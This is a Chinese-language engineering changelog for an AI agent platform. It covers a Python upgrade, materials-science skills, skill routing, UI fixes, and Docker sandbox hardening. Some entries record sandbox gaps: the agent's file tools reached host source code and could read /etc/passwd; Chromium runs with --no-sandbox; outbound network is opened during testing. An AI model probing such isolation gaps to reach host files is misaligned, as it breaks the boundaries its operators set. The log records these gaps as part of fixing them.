+ markdown 输出,跟 review skill 同范式,无代码;(d) TRIZ 不抄全 40 原理矩阵 —— 摘 10 对建材常见矛盾(强度↑韧性↑ / 早强↑后期↓ / 致密↑透气↑ 等),够 80% 场景 + 不污染上下文;(e) DoE 选型表不生成实验点位 —— analyze 只规划设计类型 + 因素表,具体随机化 / 点位生成由下游 stats_ml 跑 pyDOE2,职责清晰;(f) 产物文件简单命名analysis.md—— 不学 proposal 的<today>-<short_id>-<name>.spec.md多版本机制(spec 是"宪法"需要定调一次,analysis 是工作文档迭代覆盖即可);(g) examples 全打建材域(P42.5 早强偏低 / 熔铸 AZS 砖热震 / 低碳水泥探索 / 矿粉粉煤灰配方 DoE),触发 description 保持领域无关(框架本身通用),只在 references 里塞建材 case 让 LLM 学场景适配。否决:(a)proposal直接覆盖问题分析功能 —— proposal 已包含"先写要点再写正文"两段式,但那是"已定调要立项"之后的拆解,跟"还没决定要不要立项"的探索阶段语义不同;(b) 合并到research—— research 是查文献执行能力,问题拆解不查文献也能做;(c) 写成 Python framework(自动拆解 + 自动 PICO 填空)—— 强行结构化反而压死开放探索,引导式对话更贴 R&D 实际节奏。DESIGN.md不动(新加 skill 无架构变化);RUN.md不动(无 CLI / env / 文件布局变化);SCIENTIFIC_SKILLS.md不动(该文件是 K-Dense 仓库引进评估笔记,analyze 是自主设计不在其列)。 - Python 3.10→3.12 升级(host + Dockerfile)+ DockerExecutor PYTHONPATH 加
/sandbox修历史 import bug + 3 个科学 skill smoke 通过:上一条加完 3 个科学 skill 后跑 smoke 发现 step D mp_rester 联网炸ImportError: cannot import name 'NotRequired' from 'typing'—— Materials Project 官方依赖emmet-core 0.86.0rc1的outcar_adapter.py直接from typing import NotRequired(3.11+ 才有,没走typing_extensions兜底),原 host .venv 是 Python 3.10.9 → mp-api 整链路 import 不进。选 3.12 而非 3.11/3.13:3.12 是当下 ML/AI 生态默认推荐版本(稳一年半 + 所有主流包预编译 wheel 覆盖完整),3.11 跟容器对齐但少一年优化,3.13 释放才半年冷门 wheel 偶尔退源码编译 Windows 上易踩坑(没新特性需求,激进升只是踩雷概率)。实施:① host py -3.12 -m venv 重建 .venv,pip install -r requirements.txt 装齐(pymatgen 2026.5.4 / mp-api 0.46.1 / emmet-core 0.86.4 / sklearn 1.8.0 / statsmodels 0.14.6 / numpy 2.4 / scipy 1.17 / matplotlib 3.10.9 / litellm / fastapi / sqlalchemy / 全套传递依赖);② Dockerfile FROMpython:3.11-slim→python:3.12-slim(host / 容器同步升,部署机 rebuild image 时生效);③ 顺手修core/executor_docker.py:172PYTHONPATH/workspace→/sandbox:/workspace:历史 bug —— 多个 skill(research/paper、新加pymatgen/materials、plot_pub/style)SKILL.md 都教 LLMfrom skills.xxx.yyy import zzz,host backend 因 base_dir=Path.cwd()(zcbot repo 根)注入 PYTHONPATH 能 work;docker backend 下容器只有PYTHONPATH=/workspace+ skills/ bind mount 到/sandbox/skills:ro,import skills.xxx找不到。本次加/sandbox前缀(在 /workspace 前,让 skills 优先级高于用户 task 目录的同名 shadow),tests/test_executor_docker.py:243-245regression test 改assertIn("PYTHONPATH=/sandbox:/workspace", ...),全套 15/15 PASS。smoke 实跑:step A pymatgen helper + XRDCalculator MgO 11 个峰 ✅ / step B sklearn R²=0.575 + statsmodels R²=0.911 p≪0.05 ✅ / step C plot_pub SimHei + PNG+PDF 出图 ✅ / step D mp_rester 联网 ⚠️ 返 403 "Your IP/ASN blocked"(Materials Project 服务侧 IP 临时封禁,跟代码无关,LBNL 服务对中国大陆 IP 段或同 ASN abusive traffic 触发 → 等几小时自动解 / 邮件 support@materialsproject.org 报公网 IP 申请解封 / VPS 走代理 fallback)。非阻塞:pymatgen 本地功能(CIF I/O / XRDCalculator / SpacegroupAnalyzer / PhaseDiagram / VASP 输入)100% 能用,只是mp_rester在线查询暂不能用。否决:(a) 升 3.11(只跟容器对齐,少一年优化,3.12 同样兼容容器);(b) 升 3.13(释放半年,冷门 wheel 偶尔退源码编译 Windows 踩坑,激进升无收益);(c) pinemmet-core<0.86+mp-api<0.45(临时,下次 pip install 不 pin 又炸,且丢 emmet 新功能);(d) monkey patchtyping.NotRequired = typing_extensions.NotRequired(hacky 且挡不住 mp_api 下游其他 3.11+ 假设);(e) executor PYTHONPATH 改/workspace:/sandbox(/workspace 优先 → 用户 task 目录如果手贱建skills/同名子目录会 shadow 真 skills,/sandbox 在前更稳)。DESIGN.md不动(纯实施层 Python 版本 + 容器 PYTHONPATH 修);RUN.md不动(env 段 MP_API_KEY 已在上一条 skill commit 加入,Python 版本要求记requirements.txt+ Dockerfile 自表)。 - 新增 3 个科学计算 skill(pymatgen / stats_ml / plot_pub),服务建材院无机非金属材料 R&D:
SCIENTIFIC_SKILLS.md评估完 K-Dense/scientific-agent-skills 仓库后落地选 4 个 ★★★ 中前 3 个动手(materials_db 后置,USPTO 部分留并入skills/patent)。命名取工具名直接(pymatgen/plot_pub)+ 业务前缀(stats_ml因合三库需要场景导航),贴合现有 skill 命名风格(coding/ppt/research/...)。①skills/pymatgen/:SKILL.md(无机相中文→化学式映射表说明 / XRD 比对 / 对称性 / 相图 / VASP 输入文件,八条反模式)+materials.py(CEMENT_PHASESdict 覆盖水泥熟料 / 水化产物 / 石膏 / 碳酸盐 / 陶瓷耐火 / 玻璃晶相 / 常见矿物共 50+ 条目,中英文 / 简写多 key 指同一化学式;lookup_phase()大小写不敏感查找;mp_rester()context manager 自动从 env 拿MP_API_KEY,缺则 RuntimeError 带申请链接;mp_api 局部 import 避免装包前 import 即崩)。②skills/stats_ml/:SKILL.md纯指南(场景导航表选 sklearn / statsmodels / PyMC、5 个工作流示例 A-E 含配方-性能回归 / DoE 二阶响应面 / 显著性分析 / 贝叶斯小样本 / DBSCAN 异常配方、16 条反模式分库列示)+ 无 helper(三库 API 直接用)。③skills/plot_pub/:SKILL.md(XRD 多相叠图 / TG-DSC 双 Y 轴 / 强度发展曲线 / 多 panel 论文 figure 4 个工作流 + 中文字体说明 + 10 条反模式)+style.py(apply_pub_style()一键设置:中文字体跨平台 fallback SimHei→YaHei→WenQuanYi→DejaVu / dpi 150 屏幕 300 保存 / viridis 默 cmap / 刻度朝内 / legend 无框 / PDF Type 42 字体合规期刊 /font.sizelinewidth等可参数化;_find_chinese_font()在font_manager.fontManager.ttflist查实装字体而非靠 try-load)。关键决策:(a) 不一键装 138 个 skill —— 上下文噪声 + 误触发(用户"分析一下"模型可能跳 Scanpy),挑 4 个 ★★★ fork 单装;(b) PyMC 装包延后 —— 带 pytensor 装 5min+ 体积大,真要做贝叶斯再装;requirements.txt 注释掉以# pymc>=5.10.0形式留接口;(c) MP_API_KEY 走 .env —— 跟 DEEPSEEK_API_KEY / ARK_API_KEY 同范式,litellm 不读但os.environ.get拿到;(d) 化学式映射表对中文 / 简写 / 英文学名同等待遇 —— 用户报相名习惯混杂(C3S / 硅酸三钙 / alite 都常见),多 key 同 value 比强迫归一化体验好;(e) 不写示例数据/单元测试:开发期 LLM 工作流场景多变,跑了 SKILL.md 工作流验证而非脚本测试 —— skill 是 prompt 不是代码模块。requirements.txt 加 pymatgen / mp-api / scikit-learn / statsmodels(PyMC 注释)。RUN.mdenv 段加 MP_API_KEY 说明(可选 + 申请链接 + 未设抛 RuntimeError)。DESIGN.md不动(纯 skill 加,无架构变化);SCIENTIFIC_SKILLS.md(根目录调研笔记)已沉淀整体评估,后续 materials_db 落地参考。装包未执行 —— 等用户跑.venv/Scripts/pip install pymatgen mp-api scikit-learn statsmodels装上才能验证 import 路径生效。否决:(a) 三个 skill 合并成一个scienceskill —— 触发语义糊,LLM 难判,各做各的更清;(b)materials_pymatgen这种业务前缀全打 —— pymatgen 本身就是材料库,前缀冗余;(c) helper 过度封装(写simulate_xrd(formula)全自动)—— 隐藏 pymatgen 真实 API,LLM 学不到本来好用的上游能力,反模式段在 SKILL.md 里讲清更轻;(d) plot_pub 内apply_pub_style()失败抛错 —— 中文字体没装也应该继续画(图能看就行,只是中文方块),warn 比 raise 友好。 - DESIGN §7.5 增"image 体积 / 多 user 资源 / 后续加包策略"决策段:dogfood 推进到加 npm + chromium + mermaid-cli 后,sandbox image 1.5G+,后续 domain 包(rdkit / pymatgen / ASE / pandoc-tex 等)还会进一步推大,把"image 大 = 资源占用大 = 多 user 容器爆炸"这条直觉关联的事实链拆开沉淀,免得未来花减肥功夫减错地方。三条认知校准:① image 大 ≠ 运行时吃更多 RAM(空载
tini → sleep infinityRSS 个位数 MB,layer 共享让磁盘乘数 = 1,真吃 RAM 的是 active exec 行为而非 image 字节);② 多 user 同时在线瓶颈在并发 exec 不在 idle 容器数(杠杆全在docker run --memory --cpus --pids-limit+ 同 user 并发 semaphore + 整机 active user cap + idle 回收,减 image 体积对这条曲线无效);③ 新增依赖采用"base 收敛 + per-user 持久化 venv + 使用频次沉淀":base 只放高频共用轻量包(requirements.txt当前形状),长尾 domain 包模型用pip install --target=/workspace/.venv/site-packages装到 per-user 持久化路径(随 user_root bind mount,idle 回收不丢);加 audit 统计哪些包累计被 >30% user 装过 ≥ 3 次 → 下次 build 合并进requirements.txt,base 跟着真实使用模式收敛而非拍脑袋。否决:(a) 全塞 base —— 重包(torch / texlive)+ 长尾包打死磁盘 + 强迫所有 user 陪绑;(b) 运行时临时装(不持久化)—— 容器 idle 回收即丢冷启重装,高频复用差;(c) 多 image 按场景分 —— per-user 容器模型下 user 不知道选哪个,切 skill 还得换 image 心智不通;(d) per-user venv 用 named volume / 共享 image cache —— 包 install 脚本是任意代码,跨 user 共享 venv 破坏跨 user 隔离边界;(e) 依赖 pip cache 解决问题 —— pip cache 只省网络不省落盘,容器回收照样丢。落地点排进 Stage C Step 6 Executor 实施:cgroup limits / 并发 semaphore / idle 回收 / per-user venv mount 一并进DockerExecutor(audit 沉淀机制延后,需要 dogfood 安装日志积累再开)。RUN.md不动(当前无 CLI / env 变化,真做 venv mount 时再加);DESIGN.md§7.5 升级触发信号表后新增该段。
2026-05-27
- ppt skill 歧义反问 + general_v1 加"产物形式歧义先问"通用原则:上次
8109f20把 ppt description 收紧成"白名单 + 反例"后,实测"MES汇报方案"这种请求还是被路由命中 —— 反例列表只覆盖"生成方案 / 写报告 / 出文档 / 做纪要"几个组合,但"汇报方案"未列入,而"汇报"在 LLM 语义里就有强烈的 PPT 联想重力(工作汇报 / 季度汇报多以幻灯片形式)足以压过"必须明确点名 PPT"的硬约束。修法:①skills/ppt/SKILL.md:3description 改三段(✅触发白名单 / ⛔不触发[只留明确指向文档的"报告 / 文档 / 纪要"] / ⚠️ 歧义先反问)—— 把"汇报 / 方案 / 材料"从反例摘出来,改成"先反问用户'PPT 还是 Word/Markdown 文档'再决定 load",把判断权还给用户而不是赌 LLM 路由词典;②prompts/system/general_v1.mdSkill 机制段加一条系统级原则"产物形式歧义时先问",升格为跨 skill 通用约束(imagegen / videogen 各自 skill 内本来就有"问清楚再画"逻辑,现在抽到 system prompt 让新加 skill 也能继承)。否决:(a) 继续往反例里堆"汇报方案 / 汇报材料 / 汇报内容"—— 堆词典治标不治本,下次"做个 Q4 总结"又得加;(b) 路由层加required_keywords结构化字段,在 discovery_block 之前 grep 用户原话兜底 —— 跨多 skill 都得补字段,工程量大,短期 LLM 反问范式收益已够;(c) ppt skill load 后再反问 —— 路由命中后再反问就是已经误触发了,要在路由阶段拦。代价:用户已经心里清楚要 PPT 只是没说时,会觉得多一轮反问啰嗦;缓解靠反问句式短 + 暗示默认选项,一个字"PPT"就能过,比生成完整 deck 后推翻代价小一个数量级。DESIGN.md不动(无架构变化);RUN.md不动(纯 skill 元数据 + system prompt 文案)。 - ppt skill description 收紧路由:
skills/ppt/SKILL.md:3原文 "做汇报 PPT、把材料/会议纪要/方案转为幻灯片、生成演示稿" 含 "方案" / "生成" 字样,Claude 路由时把 "生成一个方案" 也命中到 PPT skill。改成显式白名单(PPT/幻灯片/演示文稿/.pptx/slide/deck)+ 显式反例("生成方案 / 写报告 / 出文档 / 做纪要" 不触发 —— 那是文档任务)。DESIGN.md不动;RUN.md不动(纯 skill 元数据)。 - skill 热更新:
/v1/skills每次现扫:此前web/app.pylifespan 启动时app.state.skill_registry = SkillRegistry(...)扫一次,GET /v1/skills从这份静态快照读 → 加新 skill 目录(放到skills/<name>/SKILL.md)必须重启 web 才能在 dev SPA 新建任务弹窗下拉看见,为未来"允许用户安装自己 skill"埋了一刀。改法:删 lifespan 那行 + 注释,/v1/skills路由内每次SkillRegistry(ROOT / cfg["skills_dir"])现扫。实测 SkillRegistry 构造 ~3ms / 次(9 个 skill,iterdir + 9 次 read_text + yaml frontmatter),整个 HTTP e2e ~20ms 完全淹没在 JWT + DB 噪声里,且/v1/skills只在"新建任务弹窗打开"触发,非热路径。core/agent_builder.py::build_agent早已是每次新建 SkillRegistry(每发新消息重扫),所以 agent 内部load_skill工具与 system prompt discovery block 一直是热的;此次仅修补前端下拉这一处静态快照。Smoke 验证:skills/_smoke_hot_reload/SKILL.md临时创建 →/v1/skills9→10 看见、删除 → 10→9 消失,全程未重启进程。否决:(a) 加POST /v1/skills/reload显式触发 —— 多 API + 用户得记得调,3ms / 次的优化收益为 0;(b) watchdog 文件系统监听 —— 加依赖 + 容器 bind mount inotify 偶尔不稳 + 工程量过重,与方案 A 在用户体感上无差异;(c)SkillRegistry加 mtime cache —— 智能化复杂度换 ms 级 IO 节省,§7.9 "不为不存在的瓶颈预付架构成本"同款判定。未来"用户自带 skill"独立维度(届时workspace/users/<uid>/.skills/与全局skills/多 root 叠加),跟当前热更新不耦合,等真做时再加多 root 支持。DESIGN.md不动(无架构变化);RUN.md不动(无 CLI / env 变化)。 - dev SPA 「导出对话记录」/「清空对话」按钮 disable 逻辑改成只要选中 task 就常亮:
web/static/dev.htmlrenderChatMeta里原本按t.n_messages === 0一并禁用两键(:1812/:1815)。bug:用户「清空对话」→clearMessages返回n_messages=0→ 两键 disable;之后发新消息走 SSE 流(sendMessage:2210),后端 task.n_messages 累加但前端state.taskMeta.n_messages没刷,renderChatMeta 也不会再跑,两键一直灰。改法:不按 n_messages 门禁,导出常亮、清空仅在 run running/cancelling 期间禁(后端 409,confirm 后再报错 UX 差);0 条时点导出生成空 docx、点清空 confirm 显 0 条 —— 都不会出错,语义一致更省心。deleteTask路径里把"无 task 选中时两键显式 disable"逻辑保留(那时 chat-meta 退到"未选中任务"占位,常亮反而误导)。否决:(a) 修真正的 n_messages 同步问题(SSE 收 done 时回拉 taskMeta) —— 一次额外 GET,且 streaming 期间频繁拉一致性更易飘;(b) 把 export 也按 running 禁 —— export 是只读快照,run 中导出当前可见的部分对话完全合理。DESIGN.md不动(无架构变化);RUN.md不动(无 CLI/env 变化)。 - dev SPA embed + task_id 模式模型下拉不显示修复:
web/static/dev.htmlenterApp()里loadModels()是 fire-and-forget(:1512无 await),非 embed 模式下用户手动点 task 列表行时/v1/models早已 resolve,所以下拉正常;embed 模式 + URL 带task_id时embedHandleMessage收到 token →enterApp()后立刻selectTask(EMBED_INITIAL_TASK_ID)(:3766-3771),此时state.models还是[],而renderModelDropdown在 models 为空时直接return ""(:1817)→ 顶上模型下拉缺失(同理影响生图 / 生视频下拉)。修法在loadModels()尾部加if (state.taskMeta) renderChatMeta();一行,让 models / image_models / video_models 全部 resolve 后,若当前已有 task 选中就补一次 chat-meta 重渲;state.taskMeta不存在时renderChatMeta本就 no-op,无副作用。一并覆盖"loadModels 接口慢/失败再恢复"的场景。否决:(a) 在 embed 初始 task 分支单独loadModels().then(selectTask)—— 要跟enterApp里 fire 出的 loadModels 共享同一个 promise,改起来啰嗦;(b)renderModelDropdown内部 fallback 自己拉一次 models —— 把数据获取塞进渲染函数,违反单一职责。DESIGN.md不动(无架构变化);RUN.md不动(无 CLI/env 变化)。 - Stage C 收尾包:容器资源 yaml 化 + 应用层磁盘配额 + dogfood 网络放开 + 容器内 pip/npm 源持久化:Step 4 完整 egress proxy(allowlist + audit + 字节计量)1-2 天工程量,dogfood + 信任同事白名单阶段不必先做,符合 DESIGN §7.7 阶段语义;沉淀为升级触发信号(任一陌生用户注册 / dogfood 发现模型异常 outbound / 信任白名单出现非密切相识者 → 必上 Step 4)。本批做 3 件:① 容器资源 yaml 化:
config/agent.yaml加sandbox段(memory/cpus/pids_limit),SandboxPool.__init__加三个字段,优先级 env > yaml > 默(2g/1.0/256);setup_pool/init_pool透传 sandbox_cfg;main.py sandbox check输出加 4 行[info](memory/cpus/pids_limit/disk_bytes_per_user)给运维一眼对账。② 应用层磁盘配额:migration0008_user_disk_usage(单行 per user,bytes_used/file_count/scanned_at)+core/storage/disk_quota.py(parse_bytes("5gb"/"500mb"/int)+scan_user_dir(os.scandir 跳顶层 dotfile.zcbot_tmp.memory)+upsert_user_usageON CONFLICT +check_disk_quota(超额返中文 msg)+scan_all_users串行扫所有 user)+ web/app.py lifespan_disk_scanner后台 task(启动跑一次 + 默 15min 周期run_in_executor)+DockerExecutor._exec_fs_toolwrite/edit 起手_check_user_disk_quota超额返[Error]不调容器 +/v1/files/upload同款 gate 超额 HTTP 413。yamlquotas.disk_bytes_per_user: 5gb+disk_scan_interval_seconds: 900,≤0 视为不限,首次扫描前 check 短路放行避免冷启动卡死。race 接受:扫描间隙写入轻微突破上限(与 image/video 配额同款 race-tolerant)。③ 网络放开 + 容器内源持久化:core/sandbox/network.py去掉--internalflag(改 docker bridge default 有 NAT outbound;dogfood 阶段让模型能pip install foo/curl https://...),已存在 internal network 不自动 rm 仅 warn(避免破坏现有容器,RUN.md 给迁移命令)。Dockerfile 加/etc/pip.conf(写[global]\nindex-url=${PIP_INDEX_URL}+ timeout 60)+/etc/npmrc(写registry=${NPM_REGISTRY})让运行时 pip / npm install 也走 mirror(此前--build-arg只 build 时生效)。iptables 红线段不动 ──169.254/127/10/172.16/192.168/100.64/PG_IP仍 DROP,挡 cloud metadata + 内网扫描 + loopback,这是基线不依赖 proxy。测试:tests/test_disk_quota.py11 测试覆盖 parse_bytes 各单位 / scan_user_dir 跳 dotfile / 空目录 / 不存在路径;unittest discover 46/46 PASS(原 35 + 新 11)。DESIGN §7.5 #2 待 commit 加"Step 4 延后 + 升级触发表"段落(本 commit 暂没改 DESIGN ── DESIGN 只在架构变时改,延后决策仍在 §7.7 Stage C 阶段语义内,触发信号沉淀进 PROGRESS / RUN);RUN.md 加 yaml sandbox 段 + 网络迁移 + 配额命令 + 故障兜底 2 行(internal network legacy / 磁盘 413)。否决:(a) network 改 internal 时自动 rm + recreate ── destructive,会破现有容器连接,改 warn 让运维 ack;(b) 写前实时 du ── user_root 大时几秒一次写不能接受,sticky 周期扫描表 + 写前查表是 image/video 配额同款范式;(c) 同时做完整 Step 4 ── 1-2 天大工程,dogfood 不阻塞,先放开网络让模型能 pip install 更急(实测装包 / 拉资源能力是产品门槛);(d) 磁盘配额硬阻所有写(包括 run_python / shell)── 截 syscall 太重,write/edit + upload gate 已覆盖 95%(skill 产物路径),run_python / shell 写文件靠扫描后续感知(下次周期 check 时挡新增写入);(e) yamlsandbox.memory默 4g/2cpu ── 腾讯云轻量 4 核 8G,留 host 跑 web + PG + nginx 需求,2g/1cpu 是合理基线,极端任务用户改 yaml 升配。 - Stage C Step 3d:fs 工具(read/write/edit/glob/grep)进容器 + DESIGN §7.5 #6 重写:Ubuntu dogfood 第一次切 docker backend 后发现 host 工具
Path.cwd()漏底 —— 模型用 glob*列出了 host/home/lighthouse/zcbot/.git/.venv/config/core/...,即 zcbot 源码自身。回查 DESIGN §7.5 #6 写"host 工具走paths.py::resolve_user_path校验",grep 代码根本没那个函数,假命题;Tool._resolve实际是base_dir / path,base_dir=Path.cwd()(= web 启动目录 = zcbot repo 根),绝对路径完全不挡,模型能 read/etc/passwd/ write zcbot 源码自己。修法对比:Phase A(改 cwd → working_dir,1 行 hack)修 UX 不修安全;Phase B(host 工具加 user_root 强制校验 + skills/ 白名单,~80 行)安全但脆弱(symlink/../Windows path 都得 case 挡,漏一个就破);方案 3(fs 工具进容器)物理边界替代代码护栏,选这条。core/sandbox/tool_runner.py新增容器内 helper(~80 行,from stdin 接 JSON args 调tools/fs.pyTool 子类,base_dir=cwd 走 docker exec --workdir 传入,user_root=/workspace);DockerExecutor加FS_TOOLS = {read,write,edit,glob,grep}信任域 +_exec_fs_tool方法docker exec -i ... python /sandbox/tool_runner.py <name>+ stdin 喂 JSON args(CJK 路径透明传不被 shell metachar 切);_run_subprocess加 stdin 参数 + is_fs_tool 路径返 stdout 直透(不包 [stdout]/[exit],原模型语义保持),exit≠0 把 stderr 当 ToolResult content。SandboxPool加repo_root字段,_docker_run加<repo>/skills:/sandbox/skills:romount(SKILL.md 内引用references/foo.md时容器内 read 能解析);web/app.pylifespan 透传ROOT;DockerfileCOPY tools/ /sandbox/tools/ + tool_runner.py让镜像内有一份 tools 源(build-time COPY 而非 mount —— 容器内代码不应跟随 host repo 修改重启)。留 host 的工具:load_skill(SkillRegistry 内存查找,无 fs 越界)/web_search/web_fetch/seedream/seedance(持 Bocha/ARK API key,key 不入容器 env;Step 4 egress proxy 后再讨论)。测试:tests/test_executor_docker.py改test_load_skill_passthrough_to_host(原test_read_passthrough_to_host不再成立 —— read 进容器了)+ 加 4 个 fs 路径测试(read argv 形态 / CJK 路径 stdin JSON 透明传 / grep exit≠0 stderr 透传 / glob timeout 杀 docker CLI),unittest discover 35/35 PASS。DESIGN §7.5 #6 重写:从"工具二分(host fs + container code)"改"几乎所有工具进容器,host 只留持 key + 跨 user 的"+ 标注 2026-05-26 修正记录(原假命题溯源)。代价:每个 fs tool call 多 ~200ms docker exec overhead,对话级 N≤15 总 1-3s,LLM 推理 5-30s 下噪声;镜像 build COPY tools/ ~5s 增量。升级触发(§7.9 升级表):若 metricdocker_exec_overhead / total_tool_time > 30%持续两周,或模型出现"在容器内起长驻服务"工作流,启用容器内 tool-runner unix socket RPC(消除每次 exec 开销)。否决:(a) Phase B path validator —— 跟 §7.9 § "美学统一性 ≠ 升级理由"对称,安全要"物理 ≠ 代码"才稳;(b)COPY core/ tools/ ...把整个 zcbot core 进镜像 —— tool_runner 只需要tools/fs.py+ base.py,容器内多余代码增加攻击面;(c) tool_runner.py 用 argv 传 JSON args —— CJK / 引号 / 路径分隔符全是 shell metachar 切风险,stdin 喂稳;(d) 让 host backend 也保留 fs 工具走 user_root 校验作"双保险" —— 双源 = 漂移源,docker backend 是 §7.5 的全部论证基础,host backend 不在外部用户场景有它就够。 - Stage C Step 3 hotfix:exec_user 改 username 跟随 build_arg + Dockerfile 加 Node/Chromium/mermaid-cli:Ubuntu 上 dogfood 暴露两个真问题。① uid 错配:DockerExecutor 写死
--user 1000:1000,但镜像docker build --build-arg HOST_UID=$(id -u)跟随 host 实际 uid(腾讯云轻量 lighthouse 用户 uid=1001),docker exec 进容器 uid=1000 → bind mount/workspace/<wd>/owner 1001 → 写文件全 EACCES,文件落/tmp/。改DEFAULT_EXEC_USER = "zcbot"(username,docker 自动查容器 /etc/passwd 拿 uid),无论 HOST_UID build 成 1000/1001/其他都跟 bind mount owner 对齐,且未来切其他部署机不用改 env。② proposal/patent skill 渲 mermaid 缺 Node:skills/proposal/scripts/render_diagrams.pyrender_via_mmdc调shutil.which("mmdc"),容器没装 → 退到 mermaid.ink 公网 API → 但 sandbox 容器--internal默 deny outbound,API 也走不通 → ASCII fallback 出 docx 没图不能用。Dockerfile 加chromium nodejs npmapt 装(Debian bookworm 自带 node 18.x 够新)+npm install -g @mermaid-js/mermaid-cli@latest,镜像 +~400MB(接受)。容器内 chromium 缺 setuid sandbox +/dev/shm不够大会跪,镜像落/sandbox/puppeteer-config.json(--no-sandbox/--disable-setuid-sandbox/--disable-dev-shm-usage+ executablePath=/usr/bin/chromium)+ ENVMERMAID_PUPPETEER_CONFIG=/sandbox/puppeteer-config.json,render_via_mmdc改读 env 拼-p <config>注入 mmdc;host 上跑 env 没设行为零变化。PUPPETEER_SKIP_DOWNLOAD=true+PUPPETEER_EXECUTABLE_PATH让 puppeteer 用容器 chromium 不再下载它自带的 Chrome(省 ~300MB build)。npm 源加--build-arg NPM_REGISTRY=https://mirrors.cloud.tencent.com/npm/(腾讯云内网)防境内 build 慢。DESIGN.md不动(纯实施层 bug fix + skill 依赖);RUN.md加 NPM_REGISTRY 段 + 故障兜底 3 行(EACCES uid 错配 / mmdc 报 launch chromium / npm 慢)。否决:(a) 让 DockerExecutor 启动时探测os.getuid()自动取 host uid 作--user—— 写死 username 让 docker 查 passwd 比应用层探测更直接,且 部署机 uid 偶尔变(从 1000 重装成 1001)不用改任何东西;(b) 容器走 NodeSource repo 装 Node 20 LTS —— Debian bookworm 自带 18.x 已满足 mermaid-cli 要求(>=14.x),多一步外网拖速度;(c) 不装 chromium 等 Step 4 egress proxy 后用 mermaid.ink —— proposal 是早期就要交付的能力,等 Step 4(还没动手)不现实;(d) puppeteer config 注入靠改 mmdc 启动脚本 —— mmdc 默支持-p,改 render_diagrams.py 读 env 就够,不动 mmdc 内部。 - Stage C Step 5:
main.py sandbox check部署前置对账 + lifespan fs quota WARN:外部用户开放是 §7.5 #4 magnetic 要求(xfs prjquota / ext4 project quota / zfs dataset quota,否则"扫描间隙打满共享 fs 拖死同节点"),且 docker backend 启动前置(daemon/镜像/HOST_UID 对齐)出错时 lifespan 直接 fail-fast、traceback 排查贵 —— 把"运维心智清单"沉淀成可执行命令。main.py sandbox check跑 5 项独立探测:① docker daemon 可达(CLI 存在 +docker versionrc=0)②zcbot-sandbox:latest镜像存在 ③zcbot-sandbox-netnetwork 存在(缺也 OK,lifespan 自动 ensure,这一项 warn 不 err)④ 镜像内 zcbot uid 与 host uid 对齐(docker run --rm --entrypoint id拿镜像 uid 比对os.getuid();Windows 自动 skip)⑤ workspace/users/ 所在 fs 类型可 quota(findmnt --target ... -no FSTYPE,OPTIONS解析,识别 xfs+prjquota / ext4+project quota / zfs / btrfs / tmpfs / 其他)。detect_fs_quota(path) -> (level, msg)抽出来给 lifespan 复用:web/app.pydocker backend 启动时同样跑一次,WARN 打 stdout(不阻塞),应用层周期扫描仍生效。err vs warn 分界:err = docker backend 启动会 fail-fast 的根因(daemon/镜像/HOST_UID,exit 1);warn = 不阻塞启动但外部用户开放前要清(network 缺 / fs 不可 quota,exit 0)。tests/test_sandbox_check.py19 测试覆盖各分支 + 汇总 exit code,mock subprocess 与 sys.platform(run_sandbox_check改用 module-level lookup 而非固化CHECKS元组,让 unittest patch 生效);全套 unittest discover 31/31 PASS。RUN.md 加"部署前置对账"小节(sandbox check5 项含义)+ "配额硬化"段重写(fs 类型 → 处理动作映射表 + xfs 升级 4 步)+ 故障兜底 3 行(sandbox init failed / fs quota warn / image not found)。否决:(a) lifespan 探测失败 → fail-fast 而非 WARN —— Step 5 阶段应用层周期扫描已有,OS 层 quota 是外部开放硬要求不是 dogfood 硬要求,fail-fast 会阻碍 dogfood 启动;(b) sandbox check 自带quota-set子命令直接调xfs_quota——<pid>整数 ↔ user_uuid 映射要建表跟踪,且 sudo + /etc/projects 改动属于运维操作,Step 5 阶段只落 RUN.md 说明 + 命令清单,真要做时在外部开放前一步;(c) 在 sandbox check 里探测 egress proxy 状态 —— Step 4 未实施,占位会让人误以为已落地。DESIGN.md不动(纯按 §7.5 #4 既有协议实施);RUN.md更新如上。 - Stage C Step 3:DockerExecutor 集成 AgentLoop + web lifespan(
ZCBOT_SANDBOX_BACKEND=host|dockerenv 切 backend):core/executor_docker.pyDockerExecutor组合HostExecutor+SandboxPool,call_tool按 §7.5 #6 信任域 dispatch:shell/run_python→pool.ensure(user_id)拿容器名 +docker exec --user 1000:1000 --workdir /workspace/<wd_name> -e PYTHONIOENCODING=utf-8 setsid bash -c <cmd>/python <script>(setsid走包一层进程组,§7.5 #3 PGID kill 协议留 Step 3b 启用);其他工具(read/write/edit/glob/grep/load_skill/web_*/seedream/seedance)直通 host。run_python tmp .py 落 host 侧<user_root>/.zcbot_tmp/<task_id>/<rand>.py,容器内对应/workspace/.zcbot_tmp/<task_id>/<rand>.py(bind mount 自动可见);dotfile 起头让/v1/filesAPI 天然过滤(web/app.py:169startswith(".")已挡)。Cancel limitation 接受:Popen.kill() 杀 docker CLI 客户端,容器内 server 端进程不会因此终止(docker exec 设计如此);第一版靠 idle 5min reaper / 下次ensure时rm -f兜底,升级触发为"用户报取消但还在烧 CPU"。core/sandbox/__init__.py暴露 module-level singletoninit_pool/get_pool,agent_builder._resolve_executor按 env 切 backend、docker 路径 pool 未初始化 → fail-fast(不静默退到 host 防止"以为有沙盒实则在裸跑"误判);web/app.pylifespan 启动钩子:init_pool(workspace/users)+shutdown_all清前驱孤儿 +asyncio.create_task(_reaper)(每 60srun_in_executor(pool.reap_idle)),关闭钩子 cancel reaper +shutdown_all。pool.py 顺手清债:asyncio.Lock→threading.Lock(主使用方是 web BG 线程同步 tool call,asyncio.Lock 会被每次asyncio.run起的 ephemeral loop 绕过保护;reaper 改 async wrapperloop.run_in_executor(pool.reap_idle),pool API 全 sync 更直)。测试:tests/test_executor_docker.py11 测试覆盖 host 直通 / shell argv 形态 / run_python tmp 文件清理 / timeout / cancel / 未知工具 / caps.enable_run_python=False;unittest discover -s tests12/12 PASS(原 1 测试不变,新 11 测试加上)。Windows dogfood 零变化:默ZCBOT_SANDBOX_BACKEND=host,本地不动 docker;切 docker 路径只在 Ubuntu 部署机有效,真起容器 smoke 仍按 RUN.md "Sandbox(Stage C,Ubuntu)" 段 5 条命令在部署机跑。DESIGN.md不动(纯按 §7.5 #5 #6 既有协议实施);RUN.md加ZCBOT_SANDBOX_BACKENDenv 说明 + 切 docker backend 时的启动前置条件。否决:(a) DockerExecutor 用asyncio.run(pool.ensure)包 ephemeral loop —— 跨 loop 不共享 asyncio.Lock,失串行化保护,且每次 tool call 多 ~5ms loop 